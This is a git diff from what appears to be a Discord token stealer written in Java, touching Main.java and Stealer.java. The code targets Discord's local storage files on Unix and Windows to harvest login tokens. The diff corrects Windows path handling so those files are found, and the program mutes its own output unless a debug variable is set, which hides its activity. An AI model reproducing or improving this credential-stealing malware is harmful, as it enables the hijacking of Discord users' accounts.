diff options
Diffstat (limited to 'src/main')
-rw-r--r-- | src/main/java/de/romjaki/tokenstealer/Main.java | 3 | ||||
-rw-r--r-- | src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java | 7 |
2 files changed, 7 insertions, 3 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/Main.java b/src/main/java/de/romjaki/tokenstealer/Main.java index 80e0942..f52a5ef 100644 --- a/src/main/java/de/romjaki/tokenstealer/Main.java +++ b/src/main/java/de/romjaki/tokenstealer/Main.java @@ -18,10 +18,11 @@ public class Main { public void write(int i) { } }); - if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { + if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) { System.setOut(nullStream); System.setErr(nullStream); } + System.out.println("DEBUG ACTIVATE!"); Config.load(args); if (Config.INSTANCE == null) { Builder builder = new Builder(); diff --git a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java index d595ccd..8d465db 100644 --- a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java +++ b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java @@ -12,11 +12,12 @@ import java.sql.*; import java.util.ArrayList; import java.util.Collections; import java.util.List; +import java.util.Objects; import java.util.stream.Stream; public class Stealer { private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage"; - private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage"; + private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "/discord*/Local Storage/*discordapp*_0.localstorage"; public static void steal() { try { @@ -134,7 +135,9 @@ public class Stealer { } private static List<Path> getWindowsDiscordLocations() { - return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA")); + + return globRecurse(WINDOWS_LOCALSTORAGE.replace("\\", "/"), + System.getenv("APPDATA").replace("\\", "/")); } private static List<Path> getUnixDiscordLocations() { |